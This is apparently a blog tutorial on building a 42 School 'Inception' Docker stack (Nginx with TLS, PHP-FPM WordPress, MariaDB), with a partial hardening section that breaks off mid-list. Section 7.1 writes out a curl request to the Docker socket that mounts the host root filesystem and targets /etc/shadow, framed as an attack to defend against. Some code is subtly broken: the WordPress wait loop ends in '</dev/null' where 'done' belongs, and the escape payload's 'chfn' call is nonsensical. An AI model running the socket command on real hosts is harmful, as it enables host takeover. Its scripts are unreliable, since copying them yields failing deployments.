&lt;p&gt;However, the proliferation of pre-packaged automated container images from public registries has fostered a dangerous culture of architectural compliance without foundational comprehension. Millions of developers deploy automated multi-tiered web environments by downloading bloated, generalized Docker Hub templates without understanding how Linux operating system kernel primitives—specifically &lt;strong&gt;Namespaces&lt;/strong&gt; and &lt;strong&gt;Control Groups (&lt;code&gt;cgroups&lt;/code&gt;)&lt;/strong&gt;—isolate processes, govern hardware utilization, and enforce security boundaries.&lt;/p&gt;
&lt;p&gt;The &lt;strong&gt;Inception&lt;/strong&gt; project at &lt;strong&gt;1337 School (42 Network)&lt;/strong&gt; intentionally dismantles this abstraction layer. The engineering directive is uncompromising: design, orchestrate, and construct an enterprise-grade multi-container virtual web infrastructure completely from scratch. Utilizing bare Linux operating system distribution baselines (&lt;strong&gt;Debian 12 Bookworm&lt;/strong&gt; or &lt;strong&gt;Alpine Linux&lt;/strong&gt;), every single operational component—from TLS-encrypted reverse proxies to standalone relational database daemons—must be manually compiled, hard-coded, and instantiated through bespoke Dockerfiles, custom shell entrypoint pipelines, and deterministic networking topologies. No official pre-bundled service images are permitted.&lt;/p&gt;
&lt;p&gt;This article provides a rigorous technical examination of the Inception system architecture, unpacking container kernel physics, inter-container virtual networking bridges, FastCGI binary protocol routing, automated zero-intervention database bootstrapping, POSIX PID 1 signal management, and offensive security infrastructure hardening against container escape and credential exploitation vectors.&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;1. The Physics of Virtualization vs. Containerization&lt;/h2&gt;
&lt;p&gt;To engineer an optimized infrastructure, a system architect must fundamentally distinguish between traditional hardware virtualization (Hypervisor Virtual Machines) and Operating System OS-level containerization.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;+-----------------------------------------------------------------------------+
|               INFRASTRUCTURE ISOLATION ARCHITECTURE COMPARISON               |
+------------------------------------+----------------------------------------+
| Hypervisor Virtualization (VMs)    | Operating System Containerization       |
+------------------------------------+----------------------------------------+
| App A      App B       App C       | App A (Nginx)  App B (WP)  App C (SQL) |
| Bin/Lib    Bin/Lib     Bin/Lib     | Bin/Lib        Bin/Lib     Bin/Lib     |
| Guest OS   Guest OS    Guest OS    |            Docker Engine               |
|         Hypervisor (KVM/ESXi)       |       Host Linux Kernel (Namespaces)   |
|            Host Physical Hardware  |            Host Physical Hardware       |
+------------------------------------+----------------------------------------+
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;The Heavyweight Burden of Hypervisor Virtualization&lt;/h3&gt;
&lt;p&gt;Traditional Type-1 and Type-2 hypervisors (such as VMware ESXi, KVM, or QEMU) isolate application workloads by virtualizing physical hardware components directly—emulating CPUs, memory controllers, disks, and network interface adapters. Each virtual machine mandates running a complete, proprietary Guest Operating System kernel alongside user-space libraries. This paradigm exacts an immense computational tax: massive memory duplication, degraded I/O disk virtualization throughput, and multi-second system boot initialization times.&lt;/p&gt;
&lt;h3&gt;Container Mechanics: Kernel Namespaces and Control Groups&lt;/h3&gt;
&lt;p&gt;Containerization completely sidesteps hardware emulation by deploying isolated execution partitions sharing a single unifying host Linux Operating System Kernel. When the Docker engine boots a component in our Inception cluster, it combines two distinct kernel isolation primitives:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Linux Namespaces:&lt;/strong&gt; Restrict what an executing process can &lt;em&gt;perceive&lt;/em&gt; within the operating environment.
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;pid&lt;/code&gt; (Process IDs):&lt;/strong&gt; Creates an isolated process tree hierarchy; an Nginx server running inside a container perceives itself as running as PID 1, completely blind to concurrent processes executing across neighbor containers or the underlying host OS.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;net&lt;/code&gt; (Networking):&lt;/strong&gt; Assigns dedicated virtual network adapter interfaces, routing tables, port numbers, and firewall iptables rulesets.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;mnt&lt;/code&gt; (Mount / Filesystems):&lt;/strong&gt; Establishes isolated root filesystem mount points and directory paths (&lt;code&gt;chroot&lt;/code&gt; equivalents).&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;ipc&lt;/code&gt; (Inter-Process Communication):&lt;/strong&gt; Prevents shared POSIX RAM segments and system message queues from spilling across container partitions.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Control Groups (&lt;code&gt;cgroups v2&lt;/code&gt;):&lt;/strong&gt; Regulate what resources a process can &lt;em&gt;consume&lt;/em&gt;, enforcing strict physical ceilings on total CPU cycles, dynamic memory allocation limits, disk read/write IOPS throughput, and network adapter bandwidth saturation.&lt;/li&gt;
&lt;/ol&gt;
&lt;hr /&gt;
&lt;h2&gt;2. Infrastructure Topology &amp;amp; Secure Network Design&lt;/h2&gt;
&lt;p&gt;Our deployment design is engineered around strict security boundary isolation and Principle of Least Privilege (PoLP) routing architecture. The external public internet must interact exclusively with an encrypted perimeter defense gateway, completely decoupling persistent internal backend applications and relational storage layers from external access.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;                  [ External Public Network / Browser ]
                                   |
                          HTTPS (Port 443 / TLSv1.3)
                                   |
       === HOST SYSTEM ARCHITECTURE: INCEPTION_NETWORK (Bridge) ===
+----------------------------------+------------------------------------------+
|  Container: NGINX (Perimeter)    |  Host Filesystem Persistent Bind Mounts   |
|  - SSL / TLSv1.3 Termination     |                                          |
|  - Port 443 -&amp;gt; Exposed to Host   |                                          |
|  - FastCGI Proxying (Port 9000)  |                                          |
+----------------------------------+                                          |
        |                  \                                                  |
     Port 9000 (TCP/FCGI)   \-- (Shared Volume: /home/onevilx/data/wordpress) |
        |                                       /                             |
+----------------------------------+           /                              |
|  Container: WORDPRESS (Compute)  | ----------                               |
|  - PHP-FPM 8.2 Execution Engine  |                                          |
|  - WP-CLI Automation Scripting   |                                          |
|  - Port 9000 -&amp;gt; Internal Only    |                                          |
+----------------------------------+                                          |
        |                                                                     |
     Port 3306 (TCP/MySQL)                                                    |
        |                                                                     |
+----------------------------------+                                          |
|  Container: MARIADB (Storage)    | --- (Shared Volume: /home/onevilx/data/db)|
|  - Custom SQL Bootstrap Engine   |                                          |
|  - Port 3306 -&amp;gt; Internal Only    |                                          |
+----------------------------------+------------------------------------------+
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;2.1 The Docker Bridge Network (&lt;code&gt;inception_network&lt;/code&gt;)&lt;/h3&gt;
&lt;p&gt;To achieve zero-trust network segregation, all containers are joined to a user-defined custom Docker bridge network titled &lt;code&gt;inception_network&lt;/code&gt;. Unlike default legacy docker0 bridge setups, custom networks benefit from automated embedded Docker DNS resolution. Containers can locate and establish socket connections with each other by resolving internal hostname targets directly (&lt;code&gt;wordpress&lt;/code&gt;, &lt;code&gt;mariadb&lt;/code&gt;), eliminating unstable, hard-coded dynamic internal IP allocations!&lt;/p&gt;
&lt;p&gt;Crucially, our operational network firewall mapping exposes &lt;strong&gt;only a single physical host port&lt;/strong&gt;: Port &lt;code&gt;443&lt;/code&gt; (HTTPS) on the NGINX perimeter gateway. All plain unencrypted HTTP requests (Port &lt;code&gt;80&lt;/code&gt;) are systematically disabled, while our internal PHP computational server (&lt;code&gt;port 9000&lt;/code&gt;) and MariaDB database (&lt;code&gt;port 3306&lt;/code&gt;) reside completely hidden behind internal Docker bridge network boundaries. An attacker scanning the host physical machine discovers a fully sealed perimeter displaying zero exposed backend administrative application layers!&lt;/p&gt;
&lt;h3&gt;2.2 Stateful Persistence via Host Bind Mounts&lt;/h3&gt;
&lt;p&gt;Because containers are intentionally engineered to be ephemeral, stateless execution execution environments, writing persistent database tables or content directly into a container&apos;s internal copy-on-write filesystem overlay guarantees permanent data destruction the moment a container is restarted or updated.&lt;/p&gt;
&lt;p&gt;To achieve enterprise stateful storage preservation, we declare rigorous local Host Bind Mounts bridging persistent physical Linux directories directly into container mount destinations:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;src: /home/onevilx/data/wordpress&lt;/code&gt; $\rightarrow$ &lt;code&gt;dst: /var/www/html&lt;/code&gt;:&lt;/strong&gt; Shares functional core CMS executable code concurrently between Nginx (for static CSS/JS/Image file delivery) and PHP-FPM (for dynamic code parsing).&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;src: /home/onevilx/data/mariadb&lt;/code&gt; $\rightarrow$ &lt;code&gt;dst: /var/lib/mysql&lt;/code&gt;:&lt;/strong&gt; Preserves physical binary relational database table records and schema transaction logs safely on the host hard disk drive, impervious to container recycling operations.&lt;/li&gt;
&lt;/ul&gt;
&lt;hr /&gt;
&lt;h2&gt;3. Tier 1: Perimeter Defense &amp;amp; Hardened Nginx TLS Reverse Proxy&lt;/h2&gt;
&lt;p&gt;The &lt;strong&gt;NGINX&lt;/strong&gt; perimeter server acts as our external front door, responsible for protocol encryption termination, static resource asset delivery, and upstream request proxy routing.&lt;/p&gt;
&lt;p&gt;To construct this component cleanly without relying on public templates, we formulate an explicit multi-stage instructional &lt;strong&gt;Dockerfile&lt;/strong&gt; utilizing a minimal Debian 12 Bookworm operating base:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;# /srcs/requirements/nginx/Dockerfile
FROM debian:bookworm-slim

# Maintainer Identity
LABEL maintainer=&quot;onevilx &amp;lt;youssef@127.0.0.1&amp;gt;&quot;

# Install NGINX web daemon &amp;amp; OpenSSL cryptography tooling cleanly
RUN apt-get update &amp;amp;&amp;amp; apt-get install -y --no-install-recommends \
    nginx \
    openssl \
    curl \
    &amp;amp;&amp;amp; rm -rf /var/lib/apt/lists/*

# Establish secure internal configuration directories
RUN mkdir -p /etc/nginx/ssl /var/run/nginx

# Generate enterprise self-signed X.509 RSA SSL/TLS Cryptographic Certificates
RUN openssl req -x509 -nodes -out /etc/nginx/ssl/inception.crt \
    -keyout /etc/nginx/ssl/inception.key -subj \
    &quot;/C=MA/ST=Casablanca-Settat/L=Khouribga/O=1337 School/OU=42 Network/CN=onevilx.42.fr&quot; \
    -days 365 -newkey rsa:4096

# Inject Hardened Custom Configuration Profile
COPY ./conf/nginx.conf /etc/nginx/nginx.conf
COPY ./conf/default.conf /etc/nginx/conf.d/default.conf

# Enforce secure ownership across application file descriptors
RUN chown -R www-data:www-data /var/www/html /etc/nginx/ssl

# Expose restricted TLS encryption communication port
EXPOSE 443

# Invoke NGINX execution directly in foreground as PID 1 daemon
CMD [&quot;nginx&quot;, &quot;-g&quot;, &quot;daemon off;&quot;]
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;3.1 Advanced Cryptographic Hardening &amp;amp; TLS Configuration&lt;/h3&gt;
&lt;p&gt;Deploying SSL/TLS encryption without strict protocol parameter curation is an operational liability. Legacy secure communication protocols (SSLv3, TLS 1.0, TLS 1.1) are riddled with documented cryptographic vulnerabilities, including POODLE, BEAST, and CRIME compression side-channel exploitation vectors.&lt;/p&gt;
&lt;p&gt;Our customized NGINX proxy engine enforces strict protocol adherence to &lt;strong&gt;TLSv1.2 and TLSv1.3 only&lt;/strong&gt;, paired with explicitly curated high-strength ephemeral Diffie-Hellman Elliptic Curve encryption cipher suites and hardened HTTP application security headers:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;# /srcs/requirements/nginx/conf/default.conf
server {
    # Establish SSL listener exclusively on designated port 443
    listen 443 ssl default_server;
    listen [::]:443 ssl default_server;
    
    server_name onevilx.42.fr www.onevilx.42.fr;
    root /var/www/html;
    index index.php index.html index.htm;

    # Cryptographic Certificate Binding
    ssl_certificate /etc/nginx/ssl/inception.crt;
    ssl_certificate_key /etc/nginx/ssl/inception.key;

    # TLS Protocol Restrictions &amp;amp; Cipher Hardening
    ssl_protocols TLSv1.2 TLSv1.3;
    ssl_ciphers ECDHE-ECDSA-AES128-GCM-SHA256:ECDHE-RSA-AES128-GCM-SHA256:ECDHE-ECDSA-AES256-GCM-SHA384:ECDHE-RSA-AES256-GCM-SHA384:ECDHE-ECDSA-CHACHA20-POLY1305:ECDHE-RSA-CHACHA20-POLY1305:DHE-RSA-AES128-GCM-SHA256:DHE-RSA-AES256-GCM-SHA384;
    ssl_prefer_server_ciphers off;
    ssl_session_timeout 1d;
    ssl_session_cache shared:SSL:10m;
    ssl_session_tickets off;

    # Enterprise HTTP Security Header Injections
    add_header Strict-Transport-Security &quot;max-age=63072000; includeSubDomains; preload&quot; always;
    add_header X-Frame-Options &quot;SAMEORIGIN&quot; always;
    add_header X-Content-Type-Options &quot;nosniff&quot; always;
    add_header X-XSS-Protection &quot;1; mode=block&quot; always;
    add_header Referrer-Policy &quot;no-referrer-when-downgrade&quot; always;

    # Static Asset Serving &amp;amp; Access Optimization
    location / {
        try_files $uri $uri/ /index.php?$args;
    }

    # FastCGI Protocol Gateway Routing to Upstream WordPress Container
    location ~ \.php$ {
        fastcgi_split_path_info ^(.+\.php)(/.+)$;
        fastcgi_pass wordpress:9000;
        fastcgi_index index.php;
        include fastcgi_params;
        fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name;
        fastcgi_param PATH_INFO $fastcgi_path_info;
        fastcgi_intercept_errors on;
        fastcgi_buffer_size 16k;
        fastcgi_buffers 4 16k;
    }

    # Deny direct network visibility into sensitive hidden configuration structures
    location ~ /\.ht {
        deny all;
    }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;When an external client attempts to access a dynamic page (e.g., &lt;code&gt;onevilx.42.fr/wp-login.php&lt;/code&gt;), NGINX intercepts the TLS connection, deconstructs the URI packet payload, and proxies the executable command instruction across the internal Docker bridge network (&lt;code&gt;fastcgi_pass wordpress:9000&lt;/code&gt;) using the highly optimized binary &lt;strong&gt;FastCGI Protocol&lt;/strong&gt;.&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;4. Tier 2: Application Computation &amp;amp; Automated WordPress Engine&lt;/h2&gt;
&lt;p&gt;A fundamental axiom of well-engineered container virtualization architecture is the &lt;strong&gt;Single Responsibility Principle&lt;/strong&gt;: one individual service concern per executing container. Placing an all-inclusive web platform (like bundling Apache, PHP, and MySQL directly inside a single messy image) fundamentally breaks horizontal cloud autoscaling capability and monitoring reliability.&lt;/p&gt;
&lt;p&gt;Our WordPress application tier functions solely as a computational processing unit running &lt;strong&gt;PHP-FPM (PHP FastCGI Process Manager 8.2)&lt;/strong&gt;. It receives binary FastCGI streams from NGINX, executes the requested PHP scripts against mounted static code directories, queries internal database infrastructures, and outputs computed HTML text structures directly back upstream.&lt;/p&gt;
&lt;h3&gt;4.1 PHP-FPM Network Socket Transmutation&lt;/h3&gt;
&lt;p&gt;By default, standard Debian packaged distributions configure PHP-FPM to communicate via an isolated local Unix filesystem socket (&lt;code&gt;/run/php/php8.2-fpm.sock&lt;/code&gt;). While optimal for bare-metal single-server architectures, Unix socket IPC paths cannot traverse isolated network container boundaries!&lt;/p&gt;
&lt;p&gt;To open communications across our Docker network topology, we must explicitly modify the pool configuration (&lt;code&gt;www.conf&lt;/code&gt;), directing the execution manager to listen natively on TCP networking interface port &lt;code&gt;9000&lt;/code&gt; across all available network adapters:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;# /srcs/requirements/wordpress/conf/www.conf (Snippet overrides)
[www]
user = www-data
group = www-data
; Bind PHP-FPM listening engine directly to all container network adapters on port 9000
listen = 0.0.0.0:9000
listen.owner = www-data
listen.group = www-data
pm = dynamic
pm.max_children = 25
pm.start_servers = 5
pm.min_spare_servers = 2
pm.max_spare_servers = 10
clear_env = no
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;4.2 Autonomous Unattended CMS Bootstrapping Pipeline&lt;/h3&gt;
&lt;p&gt;Because interactive installations (such as a developer manually navigating to &lt;code&gt;/wp-admin/install.php&lt;/code&gt; inside a browser window to set passwords and configure database settings) are strictly prohibited in enterprise automated DevOps pipelines, our container deploys a dedicated, idempotent zero-intervention bootloader entrypoint script utilizing &lt;strong&gt;WP-CLI&lt;/strong&gt; (The official command-line tool for managing WordPress).&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;#!/bin/bash
# /srcs/requirements/wordpress/tools/auto_config.sh

set -e

# Step 1: Enter designated shared web application mount directory
cd /var/www/html

# Step 2: Ensure proper configuration directory readiness
mkdir -p /run/php

# Step 3: Check whether core system architecture has already been initialized
if [ ! -f &quot;wp-config.php&quot; ]; then
    echo &quot;[INFO] WordPress installation absent. Beginning automated deployment pipeline...&quot;
    
    # Wait continuously until backend MariaDB socket confirms networking operational readiness
    echo &quot;[INFO] Interrogating upstream MariaDB database port latency...&quot;
    until mysqladmin ping -h&quot;${MYSQL_HOSTNAME}&quot; -u&quot;${MYSQL_USER}&quot; -p&quot;${MYSQL_PASSWORD}&quot; --silent; do
        echo &quot;Database network unavailable. Sleeping 2 seconds...&quot;
        sleep 2
    &amp;lt;/dev/null
    echo &quot;[SUCCESS] MariaDB connectivity confirmed! Initiating automated structural setup.&quot;

    # Step 4: Download official WordPress executable binaries
    wp core download --allow-root --path=&apos;/var/www/html&apos;

    # Step 5: Generate optimized wp-config.php incorporating isolated environment secrets
    wp config create --allow-root \
        --dbname=${MYSQL_DATABASE} \
        --dbuser=${MYSQL_USER} \
        --dbpass=${MYSQL_PASSWORD} \
        --dbhost=${MYSQL_HOSTNAME} \
        --path=&apos;/var/www/html&apos;

    # Step 6: Execute headless core relational schema bootstrapping &amp;amp; Administrator account binding
    wp core install --allow-root \
        --url=${DOMAIN_NAME} \
        --title=&quot;${SITE_TITLE}&quot; \
        --admin_user=${WORDPRESS_ADMIN_USER} \
        --admin_password=${WORDPRESS_ADMIN_PASSWORD} \
        --admin_email=${WORDPRESS_ADMIN_EMAIL} \
        --skip-email

    # Step 7: Instantiate restricted operational author account to enforce least privilege access
    wp user create --allow-root ${WORDPRESS_USER} ${WORDPRESS_USER_EMAIL} \
        --role=author \
        --user_pass=${WORDPRESS_USER_PASSWORD}

    # Set hardened POSIX ownership attributes across entire functional document tree
    chown -R www-data:www-data /var/www/html
    chmod -R 755 /var/www/html
    
    echo &quot;[SUCCESS] Autonomous WordPress system bootstrap operation completed successfully!&quot;
else
    echo &quot;[INFO] Existing WordPress configuration detected on persistent volume. Skipping installation.&quot;
fi

# Step 8: Execute primary compute daemon directly in foreground replacing script execution context
exec /usr/sbin/php-fpm8.2 -F
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Notice our defensive application of a polling loop checking &lt;code&gt;mysqladmin ping&lt;/code&gt; prior to executing software compilation! Because container orchestration platforms start sibling containers synchronously in parallel, network database booting delays often cause downstream PHP compilation processes to fail fatally when attempting immediate SQL database connections. Our loop ensures resilient structural fault tolerance.&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;5. Tier 3: Relational Data Persistence &amp;amp; Hardened MariaDB&lt;/h2&gt;
&lt;p&gt;The deepest tier of our secure network topology houses &lt;strong&gt;MariaDB&lt;/strong&gt;, our primary relational SQL database server. To eliminate external dependency vulnerabilities and satisfy project standards, we compile our database container directly from a raw Debian base without relying on pre-packaged SQL initialization scripts or external GUI installers.&lt;/p&gt;
&lt;h3&gt;5.1 Autonomous Relational Schema Bootstrapping&lt;/h3&gt;
&lt;p&gt;When standard MySQL packages install on clean operating system deployments, they typically default to local unix-domain networking sockets and unsafe default account settings (including root authentication without a password and open administrative anonymous user test schemas). Our automated container entrypoint script safely executes structural provisioning and database user hardening dynamically at container bootstrap:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;#!/bin/bash
# /srcs/requirements/mariadb/tools/db_init.sh

set -e

# Initialize required operating system database tracking directories
mkdir -p /var/run/mysqld /var/lib/mysql
chown -R mysql:mysql /var/run/mysqld /var/lib/mysql

# Determine whether database schema requires primary bootstrap installation
if [ ! -d &quot;/var/lib/mysql/${MYSQL_DATABASE}&quot; ]; then
    echo &quot;[INFO] Naked persistent volume detected. Executing primary MariaDB engine initialization...&quot;

    # Install foundational system relational catalog binaries without network exposure
    mysql_install_db --user=mysql --basedir=/usr --datadir=/var/lib/mysql &amp;gt; /dev/null

    # Stage automated SQL hardening and account provisioning instruction ledger
    cat &amp;lt;&amp;lt; EOF &amp;gt; /tmp/bootstrap_hardening.sql
USE mysql;
FLUSH PRIVILEGES;
-- Remove anonymous unsecured database user access entries
DELETE FROM mysql.user WHERE User=&apos;&apos;;
-- Revoke remote external root access; bind root super-user strictly to local internal loopback
DELETE FROM mysql.user WHERE User=&apos;root&apos; AND Host NOT IN (&apos;localhost&apos;, &apos;127.0.0.1&apos;, &apos;::1&apos;);
-- Expel unhardened open test schema databases
DROP DATABASE IF EXISTS test;
DELETE FROM mysql.db WHERE Db=&apos;test&apos; OR Db=&apos;test\\_%&apos;;
-- Configure root cryptographic authentication protection
ALTER USER &apos;root&apos;@&apos;localhost&apos; IDENTIFIED BY &apos;${MYSQL_ROOT_PASSWORD}&apos;;
-- Instantiate designated production WordPress relational database instance
CREATE DATABASE IF NOT EXISTS \`${MYSQL_DATABASE}\` CHARACTER SET utf8 COLLATE utf8_general_ci;
-- Create dedicated least-privilege application operating account
CREATE USER IF NOT EXISTS &apos;${MYSQL_USER}&apos;@&apos;%&apos; IDENTIFIED BY &apos;${MYSQL_PASSWORD}&apos;;
-- Assign strict functional schema table authorizations to application operating account
GRANT ALL PRIVILEGES ON \`${MYSQL_DATABASE}\`.* TO &apos;${MYSQL_USER}&apos;@&apos;%&apos; IDENTIFIED BY &apos;${MYSQL_PASSWORD}&apos;;
FLUSH PRIVILEGES;
EOF

    # Execute bootstrapping SQL script utilizing safe temporary internal server instance
    mysqld --user=mysql --bootstrap &amp;lt; /tmp/bootstrap_hardening.sql
    rm -f /tmp/bootstrap_hardening.sql

    echo &quot;[SUCCESS] MariaDB database hardening and relational schema bootstrap concluded!&quot;
else
    echo &quot;[INFO] Persistent database configuration recognized. Resuming operational state.&quot;
fi

# Execute main SQL listening daemon directly in foreground replacing execution context
exec mysqld_safe --bind-address=0.0.0.0
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;By passing &lt;code&gt;--bind-address=0.0.0.0&lt;/code&gt;, our MariaDB engine accepts inbound socket connections arriving across the internal Docker bridge network (&lt;code&gt;inception_network&lt;/code&gt;), while our external container host mapping rules prevent external network attackers from directly targeting port 3306!&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;6. The PID 1 Daemon Lifecycle &amp;amp; Graceful Signal Handling&lt;/h2&gt;
&lt;p&gt;A ubiquitous architectural failure in container engineering—frequently encountered during security investigations—is improper management of &lt;strong&gt;Process Identifier 1 (PID 1)&lt;/strong&gt; inside execution containers.&lt;/p&gt;
&lt;p&gt;When the Docker Engine runs a container, whatever binary or shell script executes first is automatically assigned &lt;strong&gt;PID 1&lt;/strong&gt; inside the Linux namespace process tree. In traditional Linux operating systems, PID 1 belongs to comprehensive init systems like &lt;strong&gt;Systemd&lt;/strong&gt; or &lt;strong&gt;SysV init&lt;/strong&gt;, which are deliberately engineered to intercept system signals and harvest orphaned child processes (zombies).&lt;/p&gt;
&lt;p&gt;Consider the classic flawed Docker startup entrypoint command:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;# ANTI-PATTERN: DO NOT USE IN ENTERPRISE DEVOPS ENVIRONMENTS!
CMD service nginx start &amp;amp;&amp;amp; tail -f /dev/null
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;When an engineer writes &lt;code&gt;service nginx start &amp;amp;&amp;amp; tail -f /dev/null&lt;/code&gt;, what process occupies &lt;strong&gt;PID 1&lt;/strong&gt; inside the container namespace? It is not the NGINX web server—it is the dummy &lt;code&gt;tail&lt;/code&gt; utility! NGINX executes merely as an orphaned, unmonitored background sub-process!&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;+-----------------------------------------------------------------------------+
|                     CONTAINER PID 1 SIGNALLING EXTREMES                      |
+-------------------------------------+---------------------------------------+
| Flawed Execution (tail -f /dev/null)| Enterprise Execution (exec nginx)     |
+-------------------------------------+---------------------------------------+
| PID 1: /bin/sh -c tail -f /dev/null | PID 1: nginx: master process          |
|        |-- PID 12: nginx master     |        |-- PID 12: nginx worker       |
|            |-- PID 13: nginx worker |        |-- PID 13: nginx worker       |
|                                     |                                       |
| [docker stop] -&amp;gt; Send SIGTERM -&amp;gt;    | [docker stop] -&amp;gt; Send SIGTERM -&amp;gt;      |
| Tail ignores SIGTERM! Nginx running.| Nginx intercepts SIGTERM!             |
| 10s timeout expires -&amp;gt; Send SIGKILL.| Flushes open file descriptors cleanly.|
| Catastrophic corruption &amp;amp; SQL drop! | Zero data loss; graceful zero timeout.|
+-------------------------------------+---------------------------------------+
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;When an operator issues a container shutdown instruction (&lt;code&gt;docker stop inception_nginx&lt;/code&gt; or during automatic Kubernetes cluster upgrades), the container engine directs a standard termination POSIX signal—&lt;strong&gt;&lt;code&gt;SIGTERM&lt;/code&gt;&lt;/strong&gt;—directly to &lt;strong&gt;PID 1&lt;/strong&gt;. Because primitive Bash scripts or dummy utilities like &lt;code&gt;tail&lt;/code&gt; are not programmed with signal handler interrupt procedures, they silently discard the &lt;code&gt;SIGTERM&lt;/code&gt; interrupt!&lt;/p&gt;
&lt;p&gt;The container continues executing blissfully oblivious for an excruciating 10-second grace window, after which Docker concludes the container is unresponsive and unleashes a lethal &lt;strong&gt;&lt;code&gt;SIGKILL&lt;/code&gt;&lt;/strong&gt; command. &lt;code&gt;SIGKILL&lt;/code&gt; causes instant process annihilation without allowing executing daemons to flush RAM disk cache buffers, complete SQL writing transactions, or release network TCP socket descriptors cleanly—resulting directly in catastrophic database index corruption and silent data loss!&lt;/p&gt;
&lt;h3&gt;6.1 The POSIX &lt;code&gt;exec&lt;/code&gt; Transmutation Remedy&lt;/h3&gt;
&lt;p&gt;To guarantee immediate, zero-corruption graceful shutdown mechanics across all Inception containers, our automation scripts consistently terminate utilizing the POSIX &lt;strong&gt;&lt;code&gt;exec&lt;/code&gt;&lt;/strong&gt; shell primitive:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;# Transmutate executing Shell Script context directly into target PID 1 daemon
exec /usr/sbin/php-fpm8.2 -F
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;and in our NGINX Dockerfile:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;CMD [&quot;nginx&quot;, &quot;-g&quot;, &quot;daemon off;&quot;]
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;When a bash script encounters the &lt;code&gt;exec&lt;/code&gt; built-in instruction, the shell script process is entirely replaced in memory space by the invoked target daemon. Our PHP-FPM, Nginx, and MariaDB server engines inherit &lt;strong&gt;PID 1&lt;/strong&gt; directly! When Docker transmits an architectural &lt;code&gt;SIGTERM&lt;/code&gt; interrupt, our real target daemons intercept the instruction immediately, shut down active workers, finish processing open network sessions, flush relational database cache layers, and execute clean zero-delay container terminations!&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;7. Offensive Security Assessment: Hardening the Container Matrix&lt;/h2&gt;
&lt;p&gt;As a professional Bug Bounty Hunter and offensive penetration researcher, deploying infrastructure without subjecting it to comprehensive vulnerability enumeration and container hardening is unacceptable. Containers share the host kernel directly; misconfigurations in network exposures or filesystem permissions can effortlessly escalate into complete host server compromises.&lt;/p&gt;
&lt;p&gt;Below is an engineering analysis of three lethal attack vectors remediated across our Inception deployment:&lt;/p&gt;
&lt;h3&gt;7.1 Defending Against Docker Socket Privilege Escalation&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;The Vulnerability:&lt;/strong&gt; Many inexperienced DevOps implementations mount the physical Docker control socket directly inside application container layers (&lt;code&gt;-v /var/run/docker.sock:/var/run/docker.sock&lt;/code&gt;), typically to enable administrative UI monitoring tools or automated continuous deployment builds.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;The Exploitation:&lt;/strong&gt; Any unprivileged user or compromised web application script (e.g., an Remote Code Execution via Word-Press plugin vulnerability) that gains file read/write authorization over &lt;code&gt;/var/run/docker.sock&lt;/code&gt; achieves instant &lt;strong&gt;Root Host Privilege Escalation&lt;/strong&gt;. An attacker simply executes the Docker Socket REST API using a standard curl invocation to spin up an arbitrary new privileged container, mounting the host operating system&apos;s root hard drive directly into &lt;code&gt;/mnt/root&lt;/code&gt;:&lt;pre&gt;&lt;code&gt;curl --unix-socket /var/run/docker.sock -H &quot;Content-Type: application/json&quot; \
-d &apos;{&quot;Image&quot;:&quot;debian:bookworm-slim&quot;,&quot;Cmd&quot;:[&quot;chfn&quot;,&quot;-v&quot;,&quot;pwned&quot;,&quot;/mnt/root/etc/shadow&quot;],&quot;HostConfig&quot;:{&quot;Binds&quot;:[&quot;/:/mnt/root&quot;]}}&apos; \
-X POST http://localhost/containers/create
&lt;/code&gt;&lt;/pre&gt;
&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;The Remediation:&lt;/strong&gt; In Inception, physical exposure of &lt;code&gt;/var/run/docker.sock&lt;/code&gt; across application container instances is categorically forbidden. Application containers remain mathematically blind to the existence of the hosting virtualization engine.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;7.2 Preventing Secrets Dumping via Docker Image History Inspection&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;The Vulnerability:&lt;/strong&gt; Embedding sensitive API keys, database administrative passwords, or production TLS certificates directly inside Dockerfiles utilizing persistent &lt;code&gt;ENV MYSQL_PASSWORD=SecretPassword123&lt;/code&gt; statements or committing &lt;code&gt;.env&lt;/code&gt; plaintext files into source repository version control.&lt;/li&gt;
